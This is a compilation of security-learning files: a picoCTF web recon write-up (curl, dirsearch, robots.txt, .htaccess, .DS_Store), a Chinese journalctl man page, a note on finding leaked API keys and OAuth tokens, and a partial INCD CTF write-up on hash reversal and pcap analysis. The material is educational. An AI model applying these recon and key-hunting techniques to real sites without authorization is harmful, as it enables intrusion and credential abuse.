private void encode(Node node, String encoding, Map<Character, String> encodingForChar) {
if (node.isLeaf) {
encodingForChar.put(node.ch, encoding);
return;
}
encode(node.left, encoding + '0', encodingForChar);
encode(node.right, encoding + '1', encodingForChar);
}
}
```
|
sec-knowleage
|
# Scavenger Hunt
Category: Web Exploitation, 50 points
## Description
> There is some interesting information hidden around this site. Can you find it?
## Solution
We start from the site itself:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Scavenger_Hunt]
└─$ curl http://mercury.picoctf.net:39491/
<!doctype html>
<html>
<head>
<title>Scavenger Hunt</title>
<link href="https://fonts.googleapis.com/css?family=Open+Sans|Roboto" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="mycss.css">
<script type="application/javascript" src="myjs.js"></script>
</head>
<body>
<div class="container">
<header>
<h1>Just some boring HTML</h1>
</header>
<button class="tablink" onclick="openTab('tabintro', this, '#222')" id="defaultOpen">How</button>
<button class="tablink" onclick="openTab('tababout', this, '#222')">What</button>
<div id="tabintro" class="tabcontent">
<h3>How</h3>
<p>How do you like my website?</p>
</div>
<div id="tababout" class="tabcontent">
<h3>What</h3>
<p>I used these to make this site: <br/>
HTML <br/>
CSS <br/>
JS (JavaScript)
</p>
<!-- Here's the first part of the flag: picoCTF{t -->
</div>
</div>
</body>
</html>
```
We can see here the first part of the flag in the comment:
```html
<!-- Here's the first part of the flag: picoCTF{t -->
```
Let's take a look at the style sheet:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Scavenger_Hunt]
└─$ curl http://mercury.picoctf.net:39491/mycss.css -s | tail
color: #111;
display: none;
padding: 50px;
text-align: center;
}
#tabintro { background-color: #ccc; }
#tababout { background-color: #ccc; }
/* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */
```
We got the second part.
What about the Javascript file?
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Scavenger_Hunt]
└─$ curl http://mercury.picoctf.net:39491/myjs.js -s | tail
if(elmnt.style != null) {
elmnt.style.backgroundColor = color;
}
}
window.onload = function() {
openTab('tabintro', this, '#222');
}
/* How can I keep Google from indexing my website? */
```
We can follow the hint or use `dirsearch` to give us a list of common files publicly available:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Scavenger_Hunt]
└─$ ~/utils/web/dirsearch/dirsearch.py -u http://mercury.picoctf.net:39491/ -e *
_|. _ _ _ _ _ _|_ v0.4.1
(_||| _) (/_(_|| (_| )
Extensions: 1.txt | HTTP method: GET | Threads: 30 | Wordlist size: 8948
Error Log: /home/user/utils/web/dirsearch/logs/errors-21-04-05_21-06-16.log
Target: http://mercury.picoctf.net:39491/
Output File: /home/user/utils/web/dirsearch/reports/mercury.picoctf.net/_21-04-05_21-06-16.txt
[21:06:16] Starting:
[21:06:19] 200 - 62B - /.DS_Store
[21:06:25] 200 - 95B - /.htaccess
[21:06:25] 200 - 95B - /.htaccess/
[21:07:24] 200 - 961B - /index.html
[21:07:47] 200 - 124B - /robots.txt
Task Completed
```
Let's check what we got:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Scavenger_Hunt]
└─$ curl http://mercury.picoctf.net:39491/robots.txt
User-agent: *
Disallow: /index.html
# Part 3: t_0f_pl4c
# I think this is an apache server... can you Access the next flag?
┌──(user@kali)-[/media/sf_CTFs/pico/Scavenger_Hunt]
└─$ curl http://mercury.picoctf.net:39491/.htaccess
# Part 4: 3s_2_lO0k
# I love making websites on my Mac, I can Store a lot of information there.
┌──(user@kali)-[/media/sf_CTFs/pico/Scavenger_Hunt]
└─$ curl http://mercury.picoctf.net:39491/.DS_Store
Congrats! You completed the scavenger hunt. Part 5: _f7ce8828}
```
The flag: `picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_f7ce8828}`
|
sec-knowleage
|
'\" t
.TH "JOURNALCTL" "1" "" "systemd 231" "journalctl"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
journalctl \- 检索 systemd 日志
.SH "SYNOPSIS"
.HP \w'\fBjournalctl\fR\ 'u
\fBjournalctl\fR [OPTIONS...] [MATCHES...]
.SH "描述"
.PP
\fBjournalctl\fR
可用于检索
\fBsystemd\fR(1)
日志(由
\fBsystemd-journald.service\fR(8)
记录)。
.PP
如果不带任何参数直接调用此命令, 那么将显示所有日志内容(从最早一条日志记录开始)。
.PP
如果指定了
[MATCHES...]
参数, 那么输出的日志将会按照
[MATCHES...]
参数进行过滤。 MATCHE 必须符合
"FIELD=VALUE"
格式 (例如
"_SYSTEMD_UNIT=httpd\&.service"
), 参见
\fBsystemd.journal-fields\fR(7)
手册以了解日志字段的详细介绍。 如果有多个不同的字段被
[MATCHES...]
参数匹配, 那么这些字段之间使用"AND"逻辑连接, 也就是,日志项必须同时满足全部字段的匹配条件才能被输出。 如果同一个字段被多个
[MATCHES...]
参数匹配, 那么这些匹配条件之间使用"OR"逻辑连接, 也就是对于同一个字段,日志项只需满足任意一个匹配条件即可输出。 最后,
"+"
字符可用作
[MATCHES...]
组之间的分隔符,并被视为使用"OR"逻辑连接。 也就是,MATCHE1 MATCHE2 + MATCHE3 MATCHE4 MATCHE5 + MATCHE6 MATCHE7 相当于 ( MATCHE1 MATCHE2 ) OR ( MATCHE3 MATCHE4 MATCHE5 ) OR ( MATCHE6 MATCHE7 )
.PP
还可以使用绝对路径作为参数来过滤日志。 绝对路径可以是普通文件,也可以是软连接,但必须指向一个确实存在的文件。 如果路径指向了一个二进制可执行文件, 那么它实际上相当于是一个对
"_EXE="
字段的匹配(仅匹配完整的绝对路径)。 如果路径指向了一个可执行脚本, 那么它实际上相当于是一个对
"_COMM="
字段的匹配(仅匹配脚本的文件名)。 如果路径指向了一个设备节点, 那么它实际上相当于是一个对
"_KERNEL_DEVICE="
字段的匹配(匹配该设备及其所有父设备的内核设备名称)。 在查询时,软连接会被追踪到底,内核设备名称将被合成, 父设备将按照当时的实际情况被提列出来。 因为日志项一般并不包含标记实际物理设备的字段, 所以,设备节点一般就是实际物理设备的最佳代表。 但是又因为设备节点与物理设备之间的对应关系在系统重启之后可能会发生变化, 所以,根据设备节点过滤日志仅对本次启动有意义, 除非你能确认对应关系在重启之后保持不变。
.PP
可以使用
\fB\-\-boot\fR,
\fB\-\-unit=\fR
等选项 进一步附加额外的约束条件(相当于使用"AND"逻辑连接)。
.PP
最终的输出结果来自所有可访问的日志文件的综合, 无论这些日志文件是否正在滚动或者正在被写入, 也无论这些日志文件是属于系统日志还是用户日志, 只要有访问权限,就会被包括进来。
.PP
用于提取日志的日志文件的集合可以使用
\fB\-\-user\fR,
\fB\-\-system\fR,
\fB\-\-directory\fR,
\fB\-\-file\fR
选项进行筛选。
.PP
每个用户都可以访问其专属的用户日志。 但是默认情况下, 只有root用户以及
"systemd\-journal",
"adm",
"wheel"
组中的用户才可以访问全部的日志(系统与其他用户)。 注意,一般发行版还会给
"adm"
与
"wheel"
组一些其他额外的特权。 例如
"wheel"
组的用户一般都可以执行一些系统管理任务。
.PP
默认情况下,结果会通过
\fBless\fR
工具进行分页输出, 并且超长行会在屏幕边缘被截断。 不过,被截掉的部分可以通过左右箭头按键查看。 如果不想分页输出,那么可以使用
\fB\-\-no\-pager\fR
选项,参见下面的"环境变量"小节。
.PP
如果是输出到 tty 的话,行的颜色还会根据日志的级别变化: ERROR 或更高级别为红色,NOTICE 或更高级别为高亮,其他级别则正常显示。
.SH "选项"
.PP
能够识别的命令行选项如下:
.PP
\fB\-\-no\-full\fR, \fB\-\-full\fR, \fB\-l\fR
.RS 4
如果字段内容超长则以省略号(\&...)截断以适应列宽。 默认显示完整的字段内容(超长的部分换行显示或者被分页工具截断)。
.sp
老旧的
\fB\-l\fR/\fB\-\-full\fR
选项 仅用于撤销已有的
\fB\-\-no\-full\fR
选项,除此之外没有其他用处。
.RE
.PP
\fB\-a\fR, \fB\-\-all\fR
.RS 4
完整显示所有字段内容, 即使其中包含不可打印字符或者字段内容超长。
.RE
.PP
\fB\-f\fR, \fB\-\-follow\fR
.RS 4
只显示最新的日志项,并且不断显示新生成的日志项。 此选项隐含了 \-n 选项。
.RE
.PP
\fB\-e\fR, \fB\-\-pager\-end\fR
.RS 4
在分页工具内立即跳转到日志的尾部。 此选项隐含了
\fB\-n1000\fR
以确保分页工具不必缓存太多的日志行。 不过这个隐含的行数可以被明确设置的
\fB\-n\fR
选项覆盖。 注意,此选项仅可用于
\fBless\fR(1)
分页器。
.RE
.PP
\fB\-n\fR, \fB\-\-lines=\fR
.RS 4
限制显示最新的日志行数。
\fB\-\-pager\-end\fR
与
\fB\-\-follow\fR
隐含了此选项。 此选项的参数:若为正整数则表示最大行数; 若为
"all"
则表示不限制行数; 若不设参数则表示默认值10行。
.RE
.PP
\fB\-\-no\-tail\fR
.RS 4
显示所有日志行, 也就是用于撤销已有的
\fB\-\-lines=\fR
选项(即使与 \-f 连用)。
.RE
.PP
\fB\-r\fR, \fB\-\-reverse\fR
.RS 4
反转日志行的输出顺序, 也就是最先显示最新的日志。
.RE
.PP
\fB\-o\fR, \fB\-\-output=\fR
.RS 4
控制日志的输出格式。 可以使用如下选项:
.PP
\fBshort\fR
.RS 4
这是默认值, 其输出格式与传统的
\m[blue]\fBsyslog\fR\m[]\&\s-2\u[1]\d\s+2
文件的格式相似, 每条日志一行。
.RE
.PP
\fBshort\-iso\fR
.RS 4
与 short 类似,只是将时间戳字段以 ISO 8601 格式显示。
.RE
.PP
\fBshort\-precise\fR
.RS 4
与 short 类似,只是将时间戳字段的秒数精确到微秒级别。
.RE
.PP
\fBshort\-monotonic\fR
.RS 4
与 short 类似,只是将时间戳字段的零值从内核启动时开始计算。
.RE
.PP
\fBshort\-unix\fR
.RS 4
与 short 类似,只是将时间戳字段显示为从"UNIX时间原点"(1970\-1\-1 00:00:00 UTC)以来的秒数。 精确到微秒级别。
.RE
.PP
\fBverbose\fR
.RS 4
以结构化的格式显示每条日志的所有字段。
.RE
.PP
\fBexport\fR
.RS 4
将日志序列化为二进制字节流(大部分依然是文本) 以适用于备份与网络传输(详见
\m[blue]\fBJournal Export Format\fR\m[]\&\s-2\u[2]\d\s+2
文档)。
.RE
.PP
\fBjson\fR
.RS 4
将日志项按照JSON数据结构格式化, 每条日志一行(详见
\m[blue]\fBJournal JSON Format\fR\m[]\&\s-2\u[3]\d\s+2
文档)。
.RE
.PP
\fBjson\-pretty\fR
.RS 4
将日志项按照JSON数据结构格式化, 但是每个字段一行, 以便于人类阅读。
.RE
.PP
\fBjson\-sse\fR
.RS 4
将日志项按照JSON数据结构格式化,每条日志一行,但是用大括号包围, 以适应
\m[blue]\fBServer\-Sent Events\fR\m[]\&\s-2\u[4]\d\s+2
的要求。
.RE
.PP
\fBcat\fR
.RS 4
仅显示日志的实际内容, 而不显示与此日志相关的任何元数据(包括时间戳)。
.RE
.RE
.PP
\fB\-\-utc\fR
.RS 4
以世界统一时间(UTC)表示时间
.RE
.PP
\fB\-\-no\-hostname\fR
.RS 4
不显示来源于本机的日志消息的主机名字段。 此选项仅对
\fBshort\fR
系列输出格式(见上文)有效。
.RE
.PP
\fB\-x\fR, \fB\-\-catalog\fR
.RS 4
在日志的输出中增加一些解释性的短文本, 以帮助进一步说明日志的含义、 问题的解决方案、支持论坛、 开发文档、以及其他任何内容。 并非所有日志都有这些额外的帮助文本, 详见
\m[blue]\fBMessage Catalog Developer Documentation\fR\m[]\&\s-2\u[5]\d\s+2
文档。
.sp
注意,如果要将日志输出用于bug报告, 请\fI不要\fR使用此选项。
.RE
.PP
\fB\-q\fR, \fB\-\-quiet\fR
.RS 4
当以普通用户身份运行时, 不显示任何警告信息与提示信息。 例如:"\-\- Logs begin at \&.\&.\&.", "\-\- Reboot \-\-"
.RE
.PP
\fB\-m\fR, \fB\-\-merge\fR
.RS 4
混合显示包括远程日志在内的所有可见日志。
.RE
.PP
\fB\-b \fR\fB[\fIID\fR]\fR\fB[\fI\(+-offset\fR]\fR, \fB\-\-boot=\fR\fB[\fIID\fR]\fR\fB[\fI\(+-offset\fR]\fR
.RS 4
显示特定于某次启动的日志, 这相当于添加了一个
"_BOOT_ID="
匹配条件。
.sp
如果参数为空(也就是
\fIID\fR
与
\fI\(+-offset\fR
都未指定), 则表示仅显示本次启动的日志。
.sp
如果省略了
\fIID\fR
, 那么当
\fI\(+-offset\fR
是正数的时候, 将从日志头开始正向查找, 否则(也就是为负数或零)将从日志尾开始反响查找。 举例来说, "\-b 1"表示按时间顺序排列最早的那次启动, "\-b 2"则表示在时间上第二早的那次启动; "\-b \-0"表示最后一次启动, "\-b \-1"表示在时间上第二近的那次启动, 以此类推。 如果
\fI\(+-offset\fR
也省略了, 那么相当于"\-b \-0", 除非本次启动不是最后一次启动(例如用
\fB\-\-directory\fR
指定了另外一台主机上的日志目录)。
.sp
如果指定了32字符的
\fIID\fR
, 那么表示以此
\fIID\fR
所代表的那次启动为基准 计算偏移量(\fI\(+-offset\fR), 计算方法同上。 换句话说, 省略
\fIID\fR
表示以本次启动为基准 计算偏移量(\fI\(+-offset\fR)。
.RE
.PP
\fB\-\-list\-boots\fR
.RS 4
列出每次启动的 序号(也就是相对于本次启动的偏移量)、32字符的ID、 第一条日志的时间戳、最后一条日志的时间戳。
.RE
.PP
\fB\-k\fR, \fB\-\-dmesg\fR
.RS 4
仅显示内核日志。隐含了
\fB\-b\fR
选项以及
"_TRANSPORT=kernel"
匹配项。
.RE
.PP
\fB\-t\fR, \fB\-\-identifier=\fR\fB\fISYSLOG_IDENTIFIER\fR\fR
.RS 4
仅显示
\m[blue]\fBsyslog\fR\m[]\&\s-2\u[1]\d\s+2
识别符为
\fISYSLOG_IDENTIFIER\fR
的日志项。
.sp
可以多次使用该选项以指定多个识别符。
.RE
.PP
\fB\-u\fR, \fB\-\-unit=\fR\fB\fIUNIT\fR\fR\fB|\fR\fB\fIPATTERN\fR\fR
.RS 4
仅显示属于特定单元的日志。 也就是单元名称正好等于
\fIUNIT\fR
或者符合
\fIPATTERN\fR
模式的单元。 这相当于添加了一个
"_SYSTEMD_UNIT=\fIUNIT\fR"
匹配项(对于
\fIUNIT\fR
来说), 或一组匹配项(对于
\fIPATTERN\fR
来说)。
.sp
可以多次使用此选项以添加多个并列的匹配条件(相当于用"OR"逻辑连接)。
.RE
.PP
\fB\-\-user\-unit=\fR
.RS 4
仅显示属于特定用户会话单元的日志。 相当于同时添加了
"_SYSTEMD_USER_UNIT="
与
"_UID="
两个匹配条件。
.sp
可以多次使用此选项以添加多个并列的匹配条件(相当于用"OR"逻辑连接)。
.RE
.PP
\fB\-p\fR, \fB\-\-priority=\fR
.RS 4
根据日志等级(包括等级范围)过滤输出结果。 日志等级数字与其名称之间的对应关系如下 (参见
\fBsyslog\fR(3)):
"emerg"\ \&(0),
"alert"\ \&(1),
"crit"\ \&(2),
"err"\ \&(3),
"warning"\ \&(4),
"notice"\ \&(5),
"info"\ \&(6),
"debug"\ \&(7) 。 若设为一个单独的数字或日志等级名称, 则表示仅显示小于或等于此等级的日志 (也就是重要程度等于或高于此等级的日志)。 若使用 FROM\&.\&.TO\&.\&. 设置一个范围, 则表示仅显示指定的等级范围内(含两端)的日志。 此选项相当于添加了
"PRIORITY="
匹配条件。
.RE
.PP
\fB\-c\fR, \fB\-\-cursor=\fR
.RS 4
从指定的游标(cursor)开始显示日志。 [提示]每条日志都有一个"__CURSOR"字段,类似于该条日志的指纹。
.RE
.PP
\fB\-\-after\-cursor=\fR
.RS 4
从指定的游标(cursor)\fI之后\fR开始显示日志。 如果使用了
\fB\-\-show\-cursor\fR
选项, 则也会显示游标本身。
.RE
.PP
\fB\-\-show\-cursor\fR
.RS 4
在最后一条日志之后显示游标, 类似下面这样,以"\-\-"开头:
.sp
.if n \{\
.RS 4
.\}
.nf
\-\- cursor: s=0639\&.\&.\&.
.fi
.if n \{\
.RE
.\}
.sp
游标的具体格式是私有的(也就是没有公开的规范), 并且会变化。
.RE
.PP
\fB\-S\fR, \fB\-\-since=\fR, \fB\-U\fR, \fB\-\-until=\fR
.RS 4
显示晚于指定时间(\-\-since=)的日志、显示早于指定时间(\-\-until=)的日志。 参数的格式类似
"2012\-10\-30 18:17:16"
这样。 如果省略了"时:分:秒"部分, 则相当于设为
"00:00:00"
。 如果仅省略了"秒"的部分则相当于设为
":00"
。 如果省略了"年\-月\-日"部分, 则相当于设为当前日期。 除了"年\-月\-日 时:分:秒"格式, 参数还可以进行如下设置: (1)设为
"yesterday",
"today",
"tomorrow"
以表示那一天的零点(00:00:00)。 (2)设为
"now"
以表示当前时间。 (3)可以在"年\-月\-日 时:分:秒"前加上
"\-"(前移) 或
"+"(后移) 前缀以表示相对于当前时间的偏移。 关于时间与日期的详细规范, 参见
\fBsystemd.time\fR(7)
.RE
.PP
\fB\-F\fR, \fB\-\-field=\fR
.RS 4
显示所有日志中某个字段的所有可能值。 [译者注]类似于SQL语句:"SELECT DISTINCT 某字段 FROM 全部日志"
.RE
.PP
\fB\-N\fR, \fB\-\-fields\fR
.RS 4
输出所有日志字段的名称
.RE
.PP
\fB\-\-system\fR, \fB\-\-user\fR
.RS 4
仅显示系统服务与内核的日志(\fB\-\-system\fR)、 仅显示当前用户的日志(\fB\-\-user\fR)。 如果两个选项都未指定,则显示当前用户的所有可见日志。
.RE
.PP
\fB\-M\fR, \fB\-\-machine=\fR
.RS 4
显示来自于正在运行的、特定名称的本地容器的日志。 参数必须是一个本地容器的名称。
.RE
.PP
\fB\-D \fR\fB\fIDIR\fR\fR, \fB\-\-directory=\fR\fB\fIDIR\fR\fR
.RS 4
仅显示来自于特定目录中的日志, 而不是默认的运行时和系统日志目录中的日志。
.RE
.PP
\fB\-\-file=\fR\fB\fIGLOB\fR\fR
.RS 4
\fIGLOB\fR
是一个可以包含"?"与"*"的文件路径匹配模式。 表示仅显示来自与指定的
\fIGLOB\fR
模式匹配的文件中的日志, 而不是默认的运行时和系统日志目录中的日志。 可以多次使用此选项以指定多个匹配模式(多个模式之间用"OR"逻辑连接)。
.RE
.PP
\fB\-\-root=\fR\fB\fIROOT\fR\fR
.RS 4
在对日志进行操作时, 将
\fIROOT\fR
视为系统的根目录。 例如
\fB\-\-update\-catalog\fR
将会创建
\fIROOT\fR/var/lib/systemd/catalog/database
.RE
.PP
\fB\-\-new\-id128\fR
.RS 4
此选项并不用于显示日志内容, 而是用于重新生成一个标识日志分类的 128\-bit ID 。 此选项的目的在于 帮助开发者生成易于辨别的日志消息, 以方便调试。
.RE
.PP
\fB\-\-header\fR
.RS 4
此选项并不用于显示日志内容, 而是用于显示日志文件内部的头信息(类似于元数据)。
.RE
.PP
\fB\-\-disk\-usage\fR
.RS 4
此选项并不用于显示日志内容, 而是用于显示所有日志文件(归档文件与活动文件)的磁盘占用总量。
.RE
.PP
\fB\-\-vacuum\-size=\fR, \fB\-\-vacuum\-time=\fR, \fB\-\-vacuum\-files=\fR
.RS 4
这些选项并不用于显示日志内容, 而是用于清理日志归档文件(并不清理活动的日志文件), 以释放磁盘空间。
\fB\-\-vacuum\-size=\fR
可用于限制归档文件的最大磁盘使用量 (可以使用
"K",
"M",
"G",
"T"
后缀);
\fB\-\-vacuum\-time=\fR
可用于清除指定时间之前的归档 (可以使用
"s",
"m",
"h",
"days",
"weeks",
"months",
"years"
后缀);
\fB\-\-vacuum\-files=\fR
可用于限制日志归档文件的最大数量。 注意,\fB\-\-vacuum\-size=\fR
对
\fB\-\-disk\-usage\fR
的输出仅有间接效果, 因为
\fB\-\-disk\-usage\fR
输出的是归档日志与活动日志的总量。 同样,\fB\-\-vacuum\-files=\fR
也未必一定会减少日志文件的总数, 因为它同样仅作用于归档文件而不会删除活动的日志文件。 此三个选项可以同时使用,以同时从三个维度去限制归档文件。 若将某选项设为零,则表示取消此选项的限制。
.RE
.PP
\fB\-\-list\-catalog \fR\fB[\fI128\-bit\-ID\&.\&.\&.\fR]\fR\fB \fR
.RS 4
简要列出日志分类信息, 其中包括对分类信息的简要描述。
.sp
如果明确指定了分类ID(\fI128\-bit\-ID\fR), 那么仅显示指定的分类。
.RE
.PP
\fB\-\-dump\-catalog \fR\fB[\fI128\-bit\-ID\&.\&.\&.\fR]\fR\fB \fR
.RS 4
详细列出日志分类信息 (格式与
\&.catalog
文件相同)。
.sp
如果明确指定了分类ID(\fI128\-bit\-ID\fR), 那么仅显示指定的分类。
.RE
.PP
\fB\-\-update\-catalog\fR
.RS 4
更新日志分类索引二进制文件。 每当安装、删除、更新了分类文件,都需要执行一次此动作。
.RE
.PP
\fB\-\-setup\-keys\fR
.RS 4
此选项并不用于显示日志内容, 而是用于生成一个新的FSS(Forward Secure Sealing)密钥对。 此密钥对包含一个"sealing key"与一个"verification key"。 "sealing key"保存在本地日志目录中, 而"verification key"则必须保存在其他地方。 详见
\fBjournald.conf\fR(5)
中的
\fBSeal=\fR
选项。
.RE
.PP
\fB\-\-force\fR
.RS 4
与
\fB\-\-setup\-keys\fR
连用, 表示即使已经配置了FSS(Forward Secure Sealing)密钥对, 也要强制重新生成。
.RE
.PP
\fB\-\-interval=\fR
.RS 4
与
\fB\-\-setup\-keys\fR
连用,指定"sealing key"的变化间隔。 较短的时间间隔会导致占用更多的CPU资源, 但是能够减少未检测的日志变化时间。 默认值是 15min
.RE
.PP
\fB\-\-verify\fR
.RS 4
检查日志文件的内在一致性。 如果日志文件在生成时开启了FSS特性, 并且使用
\fB\-\-verify\-key=\fR
指定了FSS的"verification key", 那么,同时还将验证日志文件的真实性。
.RE
.PP
\fB\-\-verify\-key=\fR
.RS 4
与
\fB\-\-verify\fR
选项连用, 指定FSS的"verification key"
.RE
.PP
\fB\-\-sync\fR
.RS 4
要求日志守护进程将所有未写入磁盘的日志数据刷写到磁盘上, 并且一直阻塞到刷写操作实际完成之后才返回。 因此该命令可以保证当它返回的时候, 所有在调用此命令的时间点之前的日志, 已经全部安全的刷写到了磁盘中。
.RE
.PP
\fB\-\-flush\fR
.RS 4
要求日志守护进程 将
/run/log/journal
中的日志数据 刷写到
/var/log/journal
中 (如果持久存储设备当前可用的话)。 此操作会一直阻塞到操作完成之后才会返回, 因此可以确保在该命令返回时, 数据转移确实已经完成。 注意,此命令仅执行一个单独的、一次性的转移动作, 若没有数据需要转移, 则此命令什么也不做, 并且也会返回一个表示操作已正确完成的返回值。
.RE
.PP
\fB\-\-rotate\fR
.RS 4
要求日志守护进程滚动日志文件。 此命令会一直阻塞到滚动完成之后才会返回。
.RE
.PP
\fB\-h\fR, \fB\-\-help\fR
.RS 4
显示简短的帮助信息并退出。
.RE
.PP
\fB\-\-version\fR
.RS 4
显示简短的版本信息并退出。
.RE
.PP
\fB\-\-no\-pager\fR
.RS 4
不将程序的输出内容管道(pipe)给分页程序。
.RE
.SH "退出状态"
.PP
返回值为 0 表示成功, 非零返回值表示失败代码。
.SH "环境变量"
.PP
\fI$SYSTEMD_PAGER\fR
.RS 4
指定分页程序。仅在未指定
\fB\-\-no\-pager\fR
选项时有意义。 此变量会覆盖
\fI$PAGER\fR
的值。 将此变量设为空字符串或
"cat"
等价于使用
\fB\-\-no\-pager\fR
选项。
.RE
.PP
\fI$SYSTEMD_LESS\fR
.RS 4
用于覆盖 默认传递给
\fBless\fR
程序的命令行选项 ("FRSXMK")。
.RE
.SH "例子"
.PP
不带任何选项与参数,表示显示全部日志
.sp
.if n \{\
.RS 4
.\}
.nf
journalctl
.fi
.if n \{\
.RE
.\}
.PP
仅指定一个匹配条件, 显示所有符合该匹配条件的日志
.sp
.if n \{\
.RS 4
.\}
.nf
journalctl _SYSTEMD_UNIT=avahi\-daemon\&.service
.fi
.if n \{\
.RE
.\}
.PP
指定了两个不同字段的匹配条件, 显示同时满足两个匹配条件的日志
.sp
.if n \{\
.RS 4
.\}
.nf
journalctl _SYSTEMD_UNIT=avahi\-daemon\&.service _PID=28097
.fi
.if n \{\
.RE
.\}
.PP
指定了同一个字段的两个不同匹配条件, 显示满足其中任意一个条件的日志
.sp
.if n \{\
.RS 4
.\}
.nf
journalctl _SYSTEMD_UNIT=avahi\-daemon\&.service _SYSTEMD_UNIT=dbus\&.service
.fi
.if n \{\
.RE
.\}
.PP
使用
"+"
连接两组匹配条件, 相当于逻辑"OR"连接
.sp
.if n \{\
.RS 4
.\}
.nf
journalctl _SYSTEMD_UNIT=avahi\-daemon\&.service _PID=28097 + _SYSTEMD_UNIT=dbus\&.service
.fi
.if n \{\
.RE
.\}
.PP
显示所有 D\-Bus 进程产生的日志
.sp
.if n \{\
.RS 4
.\}
.nf
journalctl /usr/bin/dbus\-daemon
.fi
.if n \{\
.RE
.\}
.PP
显示上一次启动所产生的所有内核日志
.sp
.if n \{\
.RS 4
.\}
.nf
journalctl \-k \-b \-1
.fi
.if n \{\
.RE
.\}
.PP
持续显示
apache\&.service
服务不断生成的日志
.sp
.if n \{\
.RS 4
.\}
.nf
journalctl \-f \-u apache
.fi
.if n \{\
.RE
.\}
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBsystemd-journald.service\fR(8),
\fBsystemctl\fR(1),
\fBcoredumpctl\fR(1),
\fBsystemd.journal-fields\fR(7),
\fBjournald.conf\fR(5),
\fBsystemd.time\fR(7)
.SH "NOTES"
.IP " 1." 4
syslog
.RS 4
\%//linux/sysklogd.html
.RE
.IP " 2." 4
Journal Export Format
.RS 4
\%http://www.freedesktop.org/wiki/Software/systemd/export
.RE
.IP " 3." 4
Journal JSON Format
.RS 4
\%http://www.freedesktop.org/wiki/Software/systemd/json
.RE
.IP " 4." 4
Server-Sent Events
.RS 4
\%https://developer.mozilla.org/en-US/docs/Server-sent_events/Using_server-sent_events
.RE
.IP " 5." 4
Message Catalog Developer Documentation
.RS 4
\%http://www.freedesktop.org/wiki/Software/systemd/catalog
.RE
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
# Exposed API Keys / Token OAuth
## Introduction
Sometimes in a web application, an attacker can find some exposed API keys / token which can lead to financial loss to a company.
## How to find
1. Find API keys / token by looking at the JavaScript code on the website
2. Find API keys / token by checking the request / response header
## Tools
* [Key-Checker](https://github.com/daffainfo/Key-Checker)
# References
* [keyhacks](https://github.com/streaak/keyhacks) is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid. There is 79 list of how to check the validity of the API keys
* [all-about-apikey](https://github.com/daffainfo/all-about-apikey) is a repository of detailed information about API Key / Oauth tokens. The repository contain description API key, HTTP request, the response if the API key is valid / no, regex, and the example
|
sec-knowleage
|
# INCD - Junior Cyber Challenge 2023
This is a short CTF by the Israeli National Cyber Directorate, as part of a recruitment campaign.
## Junior researcher challenge
### login page
> Download the html file and find the flag
```html
<script>
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
/* SHA-1 implementation in JavaScript | (c) Chris Veness 2002-2010 | www.movable-type.co.uk */
/* - see http://csrc.nist.gov/groups/ST/toolkit/secure_hashing.html */
/* http://csrc.nist.gov/groups/ST/toolkit/examples.html */
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
// The webpage provided by INCD included a Javascript SHA1 implementation here,
// removed for clarity.
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
</script>
<html>
<head>
<title>אתגר מערך הסייבר הלאומי</title>
</head>
<body>
<input type="text" name="flag" id="flag" value="Enter the flag" />
<input type="button" id="prompt" value="Click to check the flag" />
<script type="text/javascript">
document.getElementById("prompt").onclick = function () {
var flag = document.getElementById("flag").value;
if (Sha1.hash(flag) == "9408b6fc3524ec82d20ed65bb0a93178cb5565dd") {
alert("Correct flag!, enter the flag to procceed");
} else {
alert("Ops, Incorrect flag :(");
}
}
</script>
</body>
</html>
```
Use a [reverse hash service](https://md5hashing.net/hash/sha1/9408b6fc3524ec82d20ed65bb0a93178cb5565dd) to find the SHA1 input that produces `9408b6fc3524ec82d20ed65bb0a93178cb5565dd`.
The flag is `hash_me`.
### pcap investigation
> Investigate the PCAP file in order to find the flag.
>
> 1. The flag consists of two parts
> 2. flag structure - XXXX_XX_XXX
There's not much content in the attached PCAP according to the protocol breakdown:
```console
┌──(user@kali)-[/media/sf_CTFs/INCD/pcap_investigation]
└─$ tshark -qz io,phs -r pcap_challenge.pcap
===================================================================
Protocol Hierarchy Statistics
Filter:
null frames:1563 bytes:346009
ip frames:1563 bytes:346009
udp frames:20 bytes:3764
ssdp frames:20 bytes:3764
icmp frames:6 bytes:768
nbns frames:6 bytes:768
tcp frames:1537 bytes:341477
tls frames:714 bytes:299988
http frames:6 bytes:5011
data-text-lines frames:2 bytes:1290
json frames:1 bytes:1005
data frames:1 bytes:45
===================================================================
```
View the message in TCP stream 14:
```console
┌──(user@kali)-[/media/sf_CTFs/INCD/pcap_investigation]
└─$ tshark -r pcap_challenge.pcap -qz follow,tcp,ascii,14
===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 14
Node 0: 127.0.0.1:55776
Node 1: 127.0.0.1:8000
787
